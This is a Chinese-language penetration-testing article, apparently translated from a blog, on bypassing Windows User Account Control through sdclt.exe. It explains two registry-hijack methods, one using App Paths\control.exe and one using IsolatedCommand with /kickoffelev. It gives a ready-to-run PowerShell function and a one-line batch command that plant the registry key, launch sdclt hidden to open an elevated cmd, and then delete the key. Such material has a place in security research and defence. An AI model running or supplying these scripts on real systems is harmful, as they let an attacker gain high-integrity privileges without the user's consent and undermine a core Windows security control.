导语:SDCLT是Windows系统(Windows 7及更高版本)中使用的Microsoft二进制文件,允许用户执行备份和恢复操作。 但是它只是 Windows 将autoElevate设置为“true”的所有Microsoft二进制文件中的一个。 这一点可以通过使用sysinternals中的Sigchec
SDCLT是Windows系统(Windows 7及更高版本)中使用的Microsoft二进制文件,允许用户执行备份和恢复操作。 但是它只是 Windows 将autoElevate设置为“true”的所有Microsoft二进制文件中的一个。 这一点可以通过使用sysinternals中的Sigcheck工具并浏览其清单文件进行验证:
sdclt 的 autoelevate被设置为true
Matt Nelson发现了两种可以允许用户在Windows 10环境中绕过UAC的方法。 这两种方法都需要构建一个特定的注册表结构,但它们彼此并不相同,因为其中一个方法可以采用命令参数,而另一个方法将执行二进制文件的完整路径。
应用路径
备份和还原操作是控制面板的一部分。 这意味着当sdclt.exe进程启动时,控制面板也会启动。 该二进制文件被设计为以高完整性的进程运行:
sdclt – 高完整性进程
另外sdclt在启动时会在注册表中查找以下位置。
HKCU\Software\Microsoft\Windows\Current\Version\App Paths\control.exe
然而这个路径并不存在,因此,一个攻击者可以创建这个注册项路径就可以执行指定的 payload,而且是以一个高完整性的进程启动,从而绕过了UAC。
sdclt – 注册项路径并不存在
应用程序路径 – 绕过UAC的注册项
下一次启动 sdclt.exe,则会运行并打开已经提升过权限的cmd:
sdclt – 已经提升过权限的cmd
无文件的实现
还有另一种方法可以通过sdclt来绕过UAC,可以使用命令参数而不是二进制程序的完整路径。 具体来说是这样的,当使用“kickoffelev”执行sdclt时,将会在注册表中执行检查,目的是找到以下路径:
HKCU\Software\Classes\exefile\shell\runas\command\IsolatedCommand
默认情况下,此路径并不存在,因此可以手动构造这个路径,然后就可以执行cmd了:
Sdclt 无文件绕过UAC – Isolated Command 注册表项
当sdclt再次使用/kickoffelev参数执行时,它会发现IsolatedCommand注册表项是存在的,然后它就会执行权限提升,然后打开cmd。
sdclt 无文件的实现– 已经绕过UAC的cmd
PowerShell的实现
可以使用以下PowerShell脚本来自动执行此绕过过程,该脚本是为pentestlab的博客而编写的,它实际上是Matt Nelson 编写的AppPathBypass脚本的简化版本。
具体的代码如下,或者你也可以在GithubGist 仓库中找到:
function SdcltUACBypass(){ Param ( [String]$program = "C:\Windows\System32\cmd.exe" #default ) #Create Registry Structure New-Item "HKCU:Software\Microsoft\Windows\Current\Version\App Paths\control.exe" -Force Set-ItemProperty -Path "HKCU:Software\Microsoft\Windows\Current\Version\App Paths\control.exe" -Name "(default)" -Value $program -Force #Start sdclt.exe Start-Process "C:\Windows\System32\sdclt.exe" -WindowStyle Hidden #Cleanup Start-Sleep 3 Remove-Item "HKCU:Software\Microsoft\Windows\Current\Version\App Paths\control.exe" -Recurse -Force }
利用sdclt绕过 UAC的PowerShell脚本
Matt Nelson 为这两种绕过方式都开发了对应的 PowerShell 脚本 ,用于演示绕过UAC。
应用程序路径 –通过PowerShell实现的UAC绕过
无文件绕过 UAC – sdclt – PoweShell
命令提示符和记事本程序将以与sdclt相同的权限级别启动运行,这意味着它们的进程将以完全级别设置为“高”的进程运行,最终就绕过了用户帐户控制(UAC)。
sdclt – cmd 和 notepad 程序会作为一个高完整性的进程运行
UACME
现在要说的这种绕过方式是 UACME 项目的第31个绕过方式:
sdclt –利用 UACME 绕过UAC
批处理文件
也可以通过.bat 文件执行此绕过方式:
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\Version\App Paths\control.exe" /d "cmd.exe" /f && START /W sdclt.exe && reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\Version\App Paths\control.exe" /f
参考资源
https://technet.microsoft.com/en-us/sysinternals/bb897441.aspx
https://github.com/enigma0x3/Misc-PowerShell-Stuff
https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/master/Invoke-AppPathBypass.ps1
https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/master/Invoke-SDCLTBypass.ps1